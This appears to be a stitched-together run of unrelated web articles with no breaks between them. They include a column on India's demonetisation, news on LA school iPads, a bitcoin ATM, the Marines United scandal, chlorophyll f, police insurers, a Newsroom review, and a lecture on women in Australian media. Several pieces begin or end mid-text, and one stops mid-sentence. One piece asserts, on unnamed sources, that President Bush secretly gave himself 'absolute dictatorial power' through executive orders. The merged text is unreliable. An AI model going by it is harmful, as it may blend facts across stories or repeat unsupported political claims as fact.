When rising anger in queues outside banks over a cash crunch can no longer be masked as temporary inconvenience, the political leadership should be worried. Nor can the growing concerns of leading economists and global research groups warning of an economic slowdown and job losses be wished away. Indeed, on the face of it, it appears that the prime minister who has chosen to even stay away from a Parliament debate on the issue is being pushed on the defensive: What else explains the rather bizarre app-based poll conducted by the PMO — a classic self-simulation exercise designed to sway public opinion.
Read | Nagaland cash mystery solved, ₹3.5 crore flown in jet handed over to owner
The truth though is that the prime minister has already won round one of the demonetisation battle. First, he has successfully pitched his political opposition as a “coalition of the corrupt’’. A number of his political opponents are tainted by sleaze: Can a Mulayam Singh or a Mayawati, both of whom have faced disproportionate assets cases, take the moral high ground on corruption? Can Mamata Banerjee completely erase the blot of the Saradha chit fund scam or the Congress of the 2G and coal muddles? The fact that no corruption scandal has yet stuck to Modi gives him the moral edge in his battle with the Opposition.
Second, Modi has mastered the art of shaping the media narrative to his advantage through populist nationalism. By positioning demonetisation as a sharp weapon in the “war” on black money and terror funding, he has created a post-truth dialogue where even an intelligent argument as to why demonetisation will have limited impact on the black economy is lost in the cacophony of treating any dissent as “anti-national”. Any criticism of the prime minister’s move is instantly identified with being an apologist for corrupt forces, thereby preventing any sane debate on the issue.
Read | Hours before wedding, bride in MP makes a dash to bank for ₹1.74 lakh
Third, the prime minister has successfully projected himself as an “agent of change”, someone who wants to wipe away decades of sloth and dishonesty in the political system. The spectacular Modi victory in 2014 was predicated on the promise of “achhe din”, of dramatic change that would end the Congress era of slow-moving governance once and for all. By taking a tough decision, Modi has cemented his image as a strong leader with a self-proclaimed “chhappan inch ki chhati” (56-inch chest).
Finally, Modi has without doubt built a personal connect with millions of Indians who are inclined to trust him. The “jumla” tag may have been used by his critics to brand him as a leader who promises more than he delivers, but on the ground he still enjoys enormous goodwill, especially among youth and the urban middle class. For them, Modi still symbolises an aspirational India, one that wants to break free of the status quo. Which is why even amidst mounting public anger over restrictions on withdrawing your own hard-earned money, there is a willingness to give the prime minister the benefit of the doubt.
Read | Dialysis centre won’t accept old notes, woman dies in Bihar hospital
The key question is, of course, for how long will Modi ride on individual charisma without ushering in greater legal and institutional reform? If the queues don’t shorten because of a creaking banking system, if the cash crunch extends beyond the 50-day mark, if small and medium enterprises begin to lay off employees, if farmers struggle with rural credit, if a tax bureaucracy becomes oppressive, then public support can easily turn into rage at being taken for granted by the leadership. Which is why the chest-thumping Modi cheerleaders need to be careful in projecting demonetisation as a magic bullet that will make their leader invincible. In the short run, it is highly likely that Modi has scored a political slam-dunk over his rivals ahead of crucial assembly elections but if an economic slowdown begins to hurt the aam aadmi, then today’s triumphalism may become tomorrow’s self-goal.
Post-script: A senior minister in the Modi government claimed in Parliament’s central hall that the pain of demonetisation will last for only two quarters. Now, 180 days may seem a short span in the life of a nation, but for millions dependent on a cash-driven informal sector, six months can seem an eternity. As a cash-strapped fisherman living by Goa’s River Mandovi told me, “In this country, the big fish get away, the small are always trapped.”
Rajdeep Sardesai is a senior journalist and an author
The views expressed are personal
First Published: Nov 24, 2016 23:28 ISTApple
Apple will add $30 million to its coffers in a deal to outfit students in the LA school district with an iPad.
On Tuesday, following a collective thumbs-up for Apple from both students and senior staff, the Los Angeles Board of Education voted 6-0 to approve the contract, The Los Angeles Times reported.
Among the devices considered, the iPad came out on top in both quality and price, at least according to the school district's requirements. The vote means that an iPad will be doled out to every student across 47 campuses of the LA district, one of the largest school districts in the U.S.
Despite the unanimous vote, some board members expressed concerns about the cost and the commitment to Apple, the Times added. One member asked whether devices other than tablets would be more appropriate for the students. Another was worried because the board didn't have all the details on the overall costs.
The school district will pay $678 per iPad, a cost higher than the retail price, since the tablets will come with educational software and include a three-year warranty.
Not surprisingly, a representative from Microsoft also questioned the deal. Robyn Hines, senior director of state government affairs for Microsoft, said that schools shouldn't focus just on one platform and that students should be exposed to products they'll use in the business world, such as those from Microsoft.
Apple, naturally, applauded the deal.
"Education is in Apple's DNA," Apple Senior VP of Worldwide Marketing Phil Schiller said in a statement, "and we're thrilled to work with Los Angeles Unified public schools on this major initiative...Schools around the world have embraced the engaging and interactive quality of iPad with nearly 10 million iPads already in schools today."About This Game
It all happened five years ago, during a picnic arranged by Ronald and his best friend Skinny.Things were going well, until Ronald pulled out two very tiny plums from his basket, one for Skinny and one for him. Not knowing about his deadly allergy to plums, Skinny didn’t think twice about eating it, and immediately went into anaphylactic shock which caused his sudden death. Ronald ran off, terrified.When he woke up, Skinny discovered that he had become a skeleton and been sentenced to live in Ronald’s bedroom wardrobe forever. Since then, Skinny has watched over Ronald constantly, without his knowledge… but now things are going to change! To save his best friend’s soul from eternal damnation, Skinny will be forced to reveal himself and make Ronald admit his 'crime'. Not a simple challenge at all!A visually-rich 2D point & click adventure game which pays tribute to the pop culture through a myriad of references.Inspired by the great ‘90s classics such as 'Monkey Island', 'Day of the Tentacle', 'Tony Tough' and 'Sam & Max: Hit the Road', the game has a strong sense of humour, but isn't shy about dealing with mature and non-politically correct themes.More thanpopulated with more thanand enriched by dozens of puzzles.Four types of actions for each hotspot (Look, Pick up, Use, and Talk) and dialogues with multiple choices (and full of funny answers to try)!Play as Skinny, a teen-skeleton with an impertinent attitude and a sparkling wit, willing to do anything to save his best friend’s soul from eternal damnation!Dozens of clever puzzles and many inventory objects to collect!If bitcoins are the wave of the future, most customers at a store that boasts the state's first bitcoin ATM are not exactly ready to be pioneers.
Some patrons inside Smoke Shop Jersey City, at 2822 Kennedy Blvd., had heard about bitcoin, an unregulated, digital currency. Others shrugged and shook their heads because it was news to them. But most people interviewed were wary of the idea of virtual money, even if they do use debit and credit cards every day.
One patron said that he's used bitcoins for the past three years to buy everything from marijuana to supplements and was excited to hear about the installation inside the smoke shop.
"You feel a lot safer when you're using bitcoins," said Jae "The Hybrid" White, 33, of Jersey City.
Bitcoin is a peer-to-peer currency that was created about seven years ago and its value fluctuates with supply and demand. A bitcoin currently trades for roughly $300. The virtual money can be used to purchase things all over the world, but finding sellers who accept it is the key.
The currency has been criticized because it's an easy way to buy and sell black-market items like drugs and weapons under the radar.
"I personally don't use bitcoin," said Monir Khillah, 27, a New Jersey City University journalism student. He said he knew people who use websites like Reddit and Tumblr and are into "that internet culture" also use bitcoin, but he was wary about the currency's safety.
"I just pay cash and that's it," said Mylanda Lee, 42, and a Jersey City resident. Neither she nor her friend, Maria Corporan, 29, had heard of bitcoin.
A couple who walked into the smoke shop around 4 p.m. shrugged and shook their heads when the topic of bitcoin was brought up.
"I only do cash," said the male who didn't want to be named.
A woman cashing her checks at a Money Gram, a money transfer company, just a few stores away from the smoke shop said she had heard about bitcoin but didn't know much about it.
"I've never used that before," said Kareenah Evans, a Jersey City resident. When asked if she'd ever consider using bitcoin to transfer currency to someone else she said, "I'd go with Western Union. I've heard that's the safest."
Hussain Ali Khorrami, the owner, said at least three people have used the machine since it was installed this week. He said he paid no money to have the machine installed, but his business accepts the bitcoins.
"I'm not going to count my chickens before they've hatched," he said when asked if he thought the machine would bring in more customers, but he'd "definitely" recommend other businesses installing them.The Facebook page where Marines allegedly shared nude photos of women without their consent is just "the tip of the spear," as cyber predators can safely operate on many websites, the Corps' top enlisted adviser told lawmakers on Wednesday.
"The places these individuals can go and hide have not been addressed in a legal manner — they absolutely have not," Sergeant Major of the Marine Corps Ronald Green said at a House Appropriations subcommittee hearing.
Marines still sharing nude pics, top enlisted Marine tells Congress
The Naval Criminal Investigative Service is looking into possibly pursuing felony charges against some of the Marines who posted naked pictures of women without their permission on the Marines United Facebook page.
Some Marines involved could face charges such as "indecent viewing, visual recording or broadcasting" and discrediting the Marine Corps, Green said on Wednesday.
"I'm waiting to see how we're going to address this because I guarantee there are going to be some gaps at trying to get at this," Green said. "We need the teeth to get at it. There needs to be a direct law that addresses this type of activity in that cyber world. I don't think anyone can tell me the direct law that gets at this."
Rep. Debbie Wasserman Schultz, D-Fla., asked Green if the Marine Corps lacks the tools needed to prosecute Marines who engage in illegal activity online.
× Fear of missing out? Fear no longer. Be the first to hear about breaking news, as it happens. You'll get alerts delivered directly to your inbox each time something noteworthy happens in the Military community. Thanks for signing up. By giving us your email, you are opting in to our Newsletter: Sign up for the Marine Corps Times Daily News Roundup
Although the Marine Corps has the legal authority to investigate cases like Marines United, the law does not allow the Corps to proactively look for cyber predators before they are reported, Green replied.
"We have the tools once they've committed the act, ma'am," Green said. "The legal world that I'm talking about is the monitoring of the information that is out there … the ability to watch for it before it happens."
When the Marine Corps learns about people committing crimes online, it can seek warrants to search cyberspace, Green said. But the law is unclear about whether Marine Forces Cyberspace Command can be used as part of such investigations, he said.
In addition to investigating cybercrimes, the Marine Corps also instructs Marines that they are not innocent bystanders if they know about illegal activity online but fail to report it, he said.
Green acknowledged that female Marines whose pictures appeared on the Marines United Facebook page could be blackmailed. Those Marines are being provided with legal assistance.
News about the nude photo sharing scandal first broke on Saturday, when it was reported by Marine veteran Thomas Brennan, a Purple Heart recipient who served in Iraq and Afghanistan.
As if to underscore Green's point, CNN reported on Wednesday that Marines United members were directing other members to new Facebook pages, including one called Marines United 2, which promises to prevent any users from revealing its content.
After Green and Marine Commandant Gen. Robert Neller issued statements on Saturday about the story, Neller followed up with a brief video on Tuesday telling Marines that if they cannot live up to Marine Corps values "then I have to ask you: Do you really want to be a Marine?"
The commandant of the Marine Corps asks 'Do you really want to be a Marine?' The Commandant of the Marine Corps, Gen. Robert Neller, asks Marines: "Do you really want to be a Marine?"
On Wednesday, Wasserman Schultz chided Marine Corps leadership for its initial responses to the scandal, which did not express "the level of outrage that, I think, most women would have felt was necessary."
Green replied that there are limits to what the Marine Corps can say about ongoing investigations. After former Commandant Gen. James Amos said in a speech that 80 percent of sexual assault accusations are legitimate, an appellate judge overturned an 18-year sentence for a Marine convicted of rape because the judge felt jurors had been influenced by Amos' comments.Barry Weiss net worth: Barry Weiss is an American reality television star and professional storage-treasure hunter who has a net worth of $10 million. Not to be confused with the music producer of the same name, Barry Weiss has become the eccentric super star of A&E's smash hit reality series "Storage Wars". On the show, Barry is known as "The Collector" thanks to his vast collection of valuable antiques. Barry's car collection is equally impressive. Barry arrives to each auction in a new vehicle almost every day. His most famous car is a 1947 Custom Cowboy Cadillac which can be seen frequently on the show. Barry has been in the antiques business since childhood and shows very little sign of slowing down now that he's in his 60s. On Storage Wars, Weiss is characterized by his witty and caustic one liners, and his "anything goes" approach to storage auctions. For instance, Barry has been known to bring psychics to storage auctions to help him discern the value of a unit's contents. He has also used night vision goggles, a remote controlled helicopter and even a little person on stilts to help get an edge in the bidding. Barry has an impressive breadth of knowledge that includes antiques from all eras, a byproduct of his long years in the field of antiques and storage auctions.
Prior to becoming a reality super star, Barry Weiss and his brother made a fortune in the produce business. He spent more than 25 years building a wholesale produce business then retired to focus on storage hunting. The business eventually gave Barry enough money to retire and spend several years traveling the world. Once he got sick of traveling to exotic locales, Barry returned home and started using multi-million dollar net worth to indulge a passion for antiques and collectibles. Barry admits that he does not make as much money as the other characters on the show because he ends up keeping most of the items he wins.A new kind of chlorophyll that catches sunlight from just beyond the red end of the visible light spectrum has been discovered. The new pigment extends the known range of light that is usable by most photosynthetic organisms. Harnessing this pigment’s power could lead to biofuel-generating algae that are super-efficient, using a greater spread of sunlight than thought possible.
“This is a very important new development, and is the first new type of chlorophyll discovered in an oxygenic organism in 60 years,” says biological chemist Robert Blankenship of Washington University in St. Louis.
The newfound pigment, dubbed chlorophyll f, absorbs light most efficiently at a wavelength around 706 nanometers, just beyond the red end of the visible spectrum, researchers report online August 19 in Science. This unique absorbance appears to occur thanks to a chemical decoration known as a formyl group on the chlorophyll’s carbon number two. That chemical tweak probably allows the algaelike organism that makes chlorophyll f to conduct photosynthesis while living beneath other photosynthesizers that capture all the other usable light.
“In nature this very small modification of the pigment happens, and then the organism can use this unique light,” says molecular biologist Min Chen of the University of Sydney in Australia. Chen and her colleagues identified the new pigment in extracts from ground-up stromatolites, the knobby chunks of rock and algae that can form in shallow waters. The samples were collected in the Hamelin pool in western Australia’s Shark Bay, the world’s most diverse stromatolite trove.
Previously there were four known chlorophylls made by plants and other photosynthesizing organisms that generate oxygen: a, b, c and d. Chlorophyll a, the standard green type, is found in photosynthesizers from algae to higher plants. It absorbs mostly blue light around 465 nanometers and red light around 665 nanometers (it reflects green light, hence plants look green). Chlorophylls b and c are found in fewer organisms and absorb light in a similar range as chlorophyll a does, but shifted a bit. Chlorophyll d, found in a specific group of cyanobacteria, absorbs the most light at roughly 697 nanometers, a slightly shorter wavelength than the absorption of the new chlorophyll.
While some bacteria make chlorophyll-like pigments that absorb even longer wavelengths of light, these creatures aren’t harnessing light to split water, the step in photosynthesis that generates oxygen. Scientists didn’t think that wavelengths absorbed by chlorophyll f would have enough oomph to split water either, but it turns out they do, says Chen.
“This challenges our conception of the limit of oxygenic photosynthesis,” she says.
The find may also enable scientists to engineer algae that are more efficient producers of oil for biofuels, says algae biologist Krishna Niyogi of the University of California, Berkeley. Microbes bearing the new chlorophyll could soak up rays that most microbes can’t make use of.
There is still much to be learned about the new type of chlorophyll and the organisms that make it, Niyogi says. Chlorophyll f was extracted from the ground-up stromatolites along with a lot of chlorophyll a. It isn’t clear what creature was making chlorophyll f, but evidence points to a filamentous cyanobacterium. This cyanobacterium might use both chlorophylls, or perhaps just f.
Images: 1) Red-shifting cyanobacteria./Science. 2) Shark Bay stromatolites./Wikimedia Commons.
See Also:When It Comes To Police Reform, Insurance Companies May Play A Role
For all the talk in the last couple of years about reforming police, there are limits to what the government can do. But there may be another way, and it involves insurance companies.
John Rappaport, an assistant law professor at the University of Chicago, says he spent years studying police reform before it dawned on him to ask a basic question: What were the insurance companies doing?
"I just went on to Google and started searching and was just instantly amazed with the stuff I was finding," Rappaport says.
It turned out insurers were trying to limit the liability of the police departments they cover.
"One of the first things I found was this pamphlet from Travelers Insurance about how to do a strip search, and I just thought people in my world have no idea that this stuff is out there and it's really fascinating," Rappaport says.
It was fascinating to him, because it seemed to offer a solution to a fundamental problem when it comes to reform: police departments usually don't feel the financial pain of a lawsuit. It's not the officers' personal money, obviously, and even the department budget is not usually at stake when somebody sues. If the city has liability insurance, on the other hand, the insurer does feel the pain — and it may try to do something to lessen it.
"They look for ways to push police departments in a direction of reduced risk," Rappaport says.
That's been the experience of William T. Riley III. When he was chief of police in Selma, Ala., he says the city's insurer made a point of getting together with him after a use-of-force incident to see what could be learned.
"And one of the things that we did when we had somebody sue us or whatever is we went over it with a fine-tooth comb to see if there's some place that we fell short on," Riley says.
Most of the time, the insurers' role is informational. They send out bulletins to police departments about the latest court precedents on, say, use of force. But some go further, paying for special training for the police departments.
Steve Albrecht does that kind of training in California.
"We're seeing forward-thinking chiefs and forward-thinking insurance companies that are working in partnership and I think that's a benefit. And I think if that's driven by the business part of that then so much the better to get the changes we need," Albrecht says.
This kind of hands-on approach is most common with insurance pools, non-profit entities that cover groups of police agencies, especially in Western states. As membership organizations, they see it as part of their function to give advice to police departments. Commercial insurance companies, on the other hand, take a more market-oriented approach.
"Ultimately, the way we can influence behavior does come down to price," says Tim McAuliffe, who's with a commerical insurer called Ironshore. He's actually a little dubious about this idea that insurance companies can promote reform. He says companies like his don't really get into the minutiae of recommending best practices or training to police departments.
"They may do, like, a conference call if it was specific to a police incident. They may ask for a conference call with a police chief but that's generally as far as I've seen companies go," he says.
Still, insurers tend to understate their own influence, in part because they don't want to be seen as dictating policies to local law enforcement. Joanna Schwartz is a law professor at UCLA who studies how police manage liability, and she agrees with Rappaport that insurers can play the role of an honest broker to force a city to learn from its police department's mistakes.
"They are highly motivated to reform because it affects their bottom line, and they're not constrained by any of the political counterforces that could prevent the city council or mayor from pushing hard on a law enforcement agency to reform," Schwartz says.
These political counter-forces, she believes, which have been at work in some of the nation's biggest cities — such as Chicago — typically don't rely on insurance to pay out legal settlements. In those cities, the payouts have simply been absorbed by the larger budget over the years, and now the police find themselves in the middle of major crises over the use of excessive force.President George W. Bush has signed executive orders giving him sole authority to impose martial law, suspend habeas corpus and ignore the Posse Comitatus Act that prohibits deployment of U.S. troops on American streets. This would give him absolute dictatorial power over the government with no checks and balances.
Bush discussed imposing martial law on American streets in the aftermath of the 9/11 terrorist attacks by activating “national security initiatives” put in place by Ronald Reagan during the 1980s.
These “national security initiatives,” hatched in 1982 by controversial Marine Colonel Oliver North, later one of the key players in the Iran-Contra Scandal, charged the Federal Emergency Management Agency with administering executive orders that allowed suspension of the Constitution, implementation of martial law, establishment of internment camps, and the turning the government over to the President.
John Brinkerhoff, deputy director of FEMA, developed the martial law implementation plan, following a template originally developed by former FEMA director Louis Guiffrida to battle a “national uprising of black militants.” Gifuffrida’s implementation of martial law called for jailing at least 21 million African Americans in “relocation camps.” Brinkerhoff later admitted in an interview with the Miami Herald that President Reagan signed off on the initiatives and they remained in place, dormant, until George W. Bush took office.
Brinkerhoff moved on the Anser Institute for Homeland Security and, following the 9/11 terrorist attacks, provided the Bush White House and the Pentagon with talking points supporting revised “national security initiatives” that would could allow imposition of martial law and suspension of the Posse Comitatus Act of 1878, the law that is supposed to forbid use of troops for domestic law enforcement.
Brinkerhoff wrote that intentions of Posse Comitatus are “misunderstood and misapplied” and that the U.S. has in times of national emergency the “full and absolute authority” to send troops into American streets to “enforce order and maintain the peace.”
Bush used parts of the plan to send troops into the streets of New Orleans following Hurricane Katrina. In addition, FEMA hired former special forces personnel from the mercenary firm Blackwater USA to “enforce security.”
Blackwater USA, in its promotional materials, describes itself as “the most comprehensive professional military, law enforcement, security, peacekeeping, and stability operations company in the world,” adding that “we have established a global presence and provide training and operational solutions for the 21st century in support of security and peace, and freedom and democracy everywhere.”
Blackwater is also a major U.S. contractor in Iraq and has a contract with the Bush White House to provide additional security work “on an as-needed basis.”
The Department of Homeland Security established the “Northern Command for National Defense,” a wide-ranging program that includes FEMA, the Pentagon, the FBI and the National Security Agency. Executive orders already signed by Bush allow the Northern Command to send troops into American streets, seize control of radio and television stations and networks and impose martial law “in times of national emergency.”
The authority to declare what is or is not a national emergency rests entirely with Bush who does not have to either consult or seek the approval of Congress for permission to assume absolute control over the government of the United States.
The White House press office would neither confirm nor deny existence of Bush’s executive orders or the existence of the Northern Command for National Defense. Neither would the Department of Homeland Security.
But my sources within the White House and DHS tell me the plans are in place, ready for implementation when the command comes from the man who keeps telling the American public that he is a “war time president” who will “do anything in my power” to impose his will on the people of the United States.
And he has made sure that power will be absolute when he chooses to use it.
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Like this: Like Loading...Copyright by KOIN - All rights reserved Michael Lindenburger, 24, is accused of riding his motorcycle between lanes and slapping an officer's arm. (MCSO)
Copyright by KOIN - All rights reserved Michael Lindenburger, 24, is accused of riding his motorcycle between lanes and slapping an officer's arm. (MCSO)
KOIN 6 News Staff - PORTLAND, Ore. (KOIN) --- A motorcyclist was arrested Thursday morning for reportedly riding between traffic lanes and slapping the arm of an officer who had his window open, police said.
Michael David Lindenburger, 24, sped off through a red light and drove off going westbound on SE Powell Boulevard near 72nd Avenue, Portland Police Bureau said.
He then made a quick turn onto 71st Avenue, leading police on a chase.
Officers disengaged when they hit 67th Avenue because of Lindenburger's reckless driving, according to police. Another officer spotted him driving erratically on the Ross Island Bridge and pulled him over. He was arrested without incident.
Lindenburger was booked on charges of attempting to elude by vehicle, reckless driving, reckless endangerment and harassment.Mark Levin: This is why the Left hates Columbus Day
The latest statue of a dead man that the Left is waging war with, of course, is that of Christopher Columbus, discoverer of America.
On Monday, Columbus Day, or “Indigenous People’s Day” (as the Left prefers to call it), was once again occasion for annual protests across the country against the Italian explorer. But what, or who, are they really protesting? Is Columbus really the evil genocidal monster that liberals portray him as?
LevinTV host Mark Levin has the answer:
“We are becoming a society of self-hate and self-destruction,” said Levin, giving a much-needed history lesson for all the social justice warriors out there.
Here is the article by University of Chicago professor Charles Lipson that Mark reads from in the clip.
See more of Mark on CRTV. Start your FREE 7-day trial today!Where we left off:
To steal a line from MacKenzie McHale, “it’s easy to be cynical.”
Those words come from the final episode of what nearly became the only season of Aaron Sorkin’s often-maligned series. HBO gave Sorkin a vote of confidence by overriding a widespread panning of the series and renewing The Newsroom for a second tour of duty.
Season one had plenty of flaws, especially in the brutal first few episodes. The show tried to outsmart its viewers with its rocky relationships and overzealous reporting initiatives and most egregiously failed to give us a reason to emotional attach ourselves to Will, a character that is more likable than most people make him out to be.
But let’s not make this an Aaron Sorkin bash zone. I agree with HBO that The Newsroom showed enough promise to make a return to primetime and it mainly coincides with my appreciation for the final episode of season one.
When we last tuned into The Newsroom, MacKenzie’s ex-boyfriend Bryan and his “hatchet job” of a feature he penned for New York magazine led to the depression that put Aaron Sorkin’s greater fool, Will McAvoy, in the hospital with a broken ego.
Will reads off excerpts of an article loaded with goodies like “his premise is irrelevant and pompous.” But what hurt Will the most was his assertion that Bryan was right. He lost his touch. And then with a lead on a voter-fraud story, Will returned with vengeance, ready to take down any Republicans in his path. It was the strongest episode of the season because Sorkin was able to slow things down, even if it meant having to spell out everything. And I mean everything from the head scratcher of Sloan revealing she’s had a crush on Don, to Maggie failing to recognize her phone had been tapped, to Sloan explaining to Will that the greater fool isn’t a dig but actually a compliment.
So Mac is right. She’s always right. It’s too easy to dwell on the bad and even easier to overlook what Sorkin did right. McAvoy’s team started to gel in the final few episodes and now with another lease on life, The Newsroom returns with its season opener, “First Thing We Do, Let’s Kill All the Lawyers.”
Journalistic Integrity:
The first lesson in any Journalism 101 class is as clear as it gets: write the news, don’t be the news. It appears that Will and the ACN team slept in that morning. From the season two trailer, we figured there would be some central conflict that threatens the very show that is trying to be the idealistic, uncompromising model of what cable news should and could be. We still don’t know what exactly landed the team in all kinds this trouble, but as season two opens, Will is answering not only for his mistakes but also those of his team.
We know it revolves around a story first mentioned by Jerry, a newcomer in the newsroom, who is told by a guest that he has access to a story that “makes careers and ends presidencies.” Later on, Mac bills this mystery story as the most viewed program in the history of cable news as “the biggest thing any of us have ever touched.”
For now, the show continues to grapple with the issue of doing what’s right vs. doing what people want to hear. It comes head on when Reese is blacklisted in Washington because of Will’s infamous “American Taliban” reference to the Tea Party. It seems that the in-house fighting has been pushed aside in favor of serving the larger narrative of the media being the cast as the villain.
Heat Check:
Oh, Jim. He can’t stand to look over his desk and see that somehow Maggie and Don have it all figured out. So he leaves in pursuit of a clear mind, only to find that the repercussions of Will’s “American Taliban” comments have reached the promise land of Concord, New Hampshire. The guy will someday catch a break. We believe in you Jim. We believe!
Outside the newsroom, we start to really feel that Maggie and Don’s relationship is stronger than we were led to believe. After all, it withstood Jim’s romanticism and Sloan’s bombshell comment to Don – a last-ditch effort to squeeze an unnecessary twist into an already loaded final episode. As well as Sorkin did to make Don look like the bad guy, Maggie ended up being the one who had something to hide.
Thankfully nothing on YouTube is hidden for long and a cell phone camera helped end a relationship that lasted about five episodes too long. I’m calling it right now. Jim will return on a golden steed to reclaim his woman and it shall be glorious.
Post-Production:
The trial of Will and Maggie is Sorkin’s cog to the entire season. It gives us something that could get juicy as more backstory is revealed. If Sorkin can play up these backstories to develop a deeper understanding of his characters, he has a chance to turn The Newsroom around. He’s on the right track by playing up the media as the villain and starting to introduce his characters as an unfortunate extension of that. If he can’t, then the echoes calling for The Newsroom to get the ax will only grow louder.
Score: 3 out 5
Like us on Facebook and follow us on Twitter for all news updates related to the world of geek. And Google+, if that's your thing!America’s voting machines are a patchwork of systems spread across thousands of districts, with widely varying degrees of accountability. It’s a mess. One that the Department of Homeland Security has finally committed to helping clean up.
This week, DHS chief Jeh Johnson held a call with state election officials to outline, very roughly, the kind of assistance that DHS will provide to help prevent cyber attacks in this fall's elections. For now, details are vague, and whatever DHS plans to do will need to happen quickly; election day may be November 8, but in some states, early voting starts in just six weeks. That’s not enough time to solve all of America’s voting machine issues.
Fortunately, there’s still plenty DHS can accomplish—assuming the districts that need the most help realize it.
Unfit Machines
The problems with America’s electronic voting machines are extensive, but also easily summarized: Many of them are old computers, and old computers are more vulnerable to disruptions both purposeful (malware) and benign (bugs).
In the most extreme case to date, a security expert found that one particular type of electronic voting machine, used in Virginia elections, was so insecure that a novice hacker would have been able to sway results without much difficulty. That device was decertified, but researchers have demonstrated that other models, still in use around the country, are also vulnerable.
The reason so many machines are so out of date is also simple; replacing them would require money, and few districts are |
weeks has managed to immediately wipe away any physical trace of evidence that she had ever been pregnant in the first place. And we're meant to aspire to that? I despair when I see another ''Celebrities With Anorexia'' gossip cover complete with before and after paparazzi shots, calculated to show each one of them at their sad, tortured worst. It's pure voyeurism and ridicule masquerading as concern.
I despair when I see the young female radio DJ disappear from sight and unable to work, after being caught up in a prank call to a London Hospital, that saw a troubled nurse take her own life. Meanwhile her male co-host gets promoted and is given a major industry award by his employer as ''Top Jock'' of the year. Oh well, as they say, ''shit happens''. I despair, when our federal cabinet of 2013, has just one woman to 19 men - and we women are told, even by other women, we must shoulder the burden of blame for this lack of female parliamentary presence due to our lack of ''merit'' … if only we were more talented, we're told, we might get half a chance of a look in. I despair that so many young girls are growing up, held hostage via social media to the views others have of them, long before they even know who they are themselves. I despair of the Instagram culture, where young girls learn to take off as much clothing as possible to generate the greatest number of ''likes'' from an audience too often made up of strangers. This is now the screwed-up arbiter of a girl's self esteem? I despair when a retired male journalist called Geoff Barker complains that he can no longer watch the TV news because young female journalists who are simply - and competently - getting on with their job … are apparently TOO attractive for him to concentrate. Wake up, Geoff!
And, as a former magazine editor, allow me to speak on something I feel most passionately of all: I TRULY despair, every time Fashion Week rolls around and another parade of tragically skinny young women make their way down the catwalk. Every year! The designers blame the agents, the agents insist the girls are healthy, while the fashion editors hand the models yet another size six garment to wear in photos shoots because, and I'm quoting fashion editors here: it's the only size the designer samples come in! Meanwhile, former Vogue editor Kirstie Clements admits that she's seen models eat tissues to suppress their appetites so they can stay skinny enough to fit the clothes they're required to wear. But I say no more excuses. We need a simple rule, a compact: we the editors of the women's magazines of Australia feel our duty is to present healthy images to the women of Australia, and this far outweighs any other consideration. Therefore, we will not display in our magazines clothes that arrive in a size six. If not our generation, then whose? If not now, then when? Because so many Australian girls are struggling. And this barrage of impossible, unattainable images is a big part of why. It is a betrayal, to use an old-fashioned term, of our duty of care. To the rising generation of female journalists in the room, and those watching at home, I appreciate you have come into the media at a difficult time. I know the frustration and concern many of you feel, because a lot of you have told me. The wonderful thing is - and I want to end on a positive note, there are actually are a lot of bright shining stars for us all to steer by. I encourage you to look, as I regularly do, to the women I most admire in this wonderful profession: from Leigh Sales who had the unenviable task of stepping into Kerry O'Brien's shoes and now totally owns 7.30; to the easy charm of Liz Hayes and her ability to draw out unexpected admissions from her interview subjects.
Sarah Ferguson's every TV expose´ is cause to lean in so as to not miss a word, while Georgie Gardner's compassion is obvious in every news bulletin she delivers. I admire Emma Alberici and Jenny Brockie's sheer professionalism and depth of experience, and Sam Armytage and Mel Doyle's extreme grace under pressure. Annabel Crabb's quirky individuality is matched only by her sharp-as-a-tack political acumen, while Tracy Grimshaw picks up another bloody Walkley nomination every time she sits down for one of her signature interviews. I admire the wonderfully incisive writings of Julia Baird and Wendy Squires, and Kate McClymont's forensic research and take-no-prisoners bravery. Deborah Thomas has a seamless capacity to work across so many media platforms, while Fran Kelly possesses a warmth and piercing intellect as a broadcaster.
Mia Freedman's trail-blazing bravery is matched by her inspirational innovation in the online world. Morag Ramsay has the capacity as a producer to make the complex comprehensible, while Jennifer Byrne's enthusiasm for every subject she turns her hand to is infectious. I admire the gentle grace and warm wisdom the wonderful Caroline Jones brings on a Monday night, as this tribal elder and enduring pioneer of female journalists in this country introduces another episode of Australian Story. And of course, there is the incomparable Ita Buttrose. All of these women are at the top of their game. These are women for whom public approval comes from their desire to be authentic and get on with the job. Their very lack of desire to be liked - hasn't that word changed its meaning? - is the very thing that drives their enduring and much deserved respect. I am honoured to work in the same profession as them.
Loading And I am so glad I answered that ad at Dolly Magazine. This is an edited version of the Andrew Olle Lecture Lisa Wilkinson gave on Friday night.MIAMI — Prospects for Medicaid expansion in Florida, which was embraced, improbably, by the state’s Republican governor in February, are all but dead this year.
With the Republican-dominated Legislature preparing to leave town on Friday, time has run out to draft a compromise bill between the House and Senate that would expand Medicaid with the help of billions of federal dollars. House Republicans voted last week to reject the Senate plan, which would take the federal money and use it to add low-income Floridians to private insurance plans.
The Legislature’s inability to agree means that more than a million low-income Floridians will remain without insurance, at least in the short term. Florida has one of the nation’s highest rates of uninsured people. Public hospitals also will suffer because they will continue to have to care for those one million uninsured who seek treatment in their emergency rooms.
Florida must have a plan to expand coverage passed and approved by the federal government as of Jan. 1, 2014, or it will lose an estimated $1 billion in Medicaid dollars in the first year. The federal government will fully finance the new enrollees for the first three years.Daniel Walker poses at a rally. ‘‘they [sic] completely twisted our video around to make it look as thou [sic] we have threatened campbell newman,’’ his message says. ‘‘they completely went against what we were trying to portray in the video... but bad publicity is better then no publicity. at least people are showing concern with the new legislations.’’ Mr Walker has previously campaigned for the rights of single parents with RiSE Queensland founder Bronwyn Rees at Reddacliff Place in Brisbane’s CBD. Although Ms Rees admitted she has never seen the man she knows as Daniel without a Guy Fawkes mask - the symbol of the Anonymous movement - she said he was a ‘‘good man’’.
A photo of Daniel Walker from his Facebook page. ‘‘They found me and have supported me in my campaigns,’’ Ms Rees told Fairfax Media. ‘‘I feel safe when they’re around. They do not incite violence. They are for freedom of speech. They are not threatening.’’ Daniel Walker marches in Brisbane's CBD. A photograph on his Facebook page also shows Mr Walker marching with the Queensland Socialist Alliance along Adelaide Street in a protest against the multinational producer of genetically modified food Monsanto.
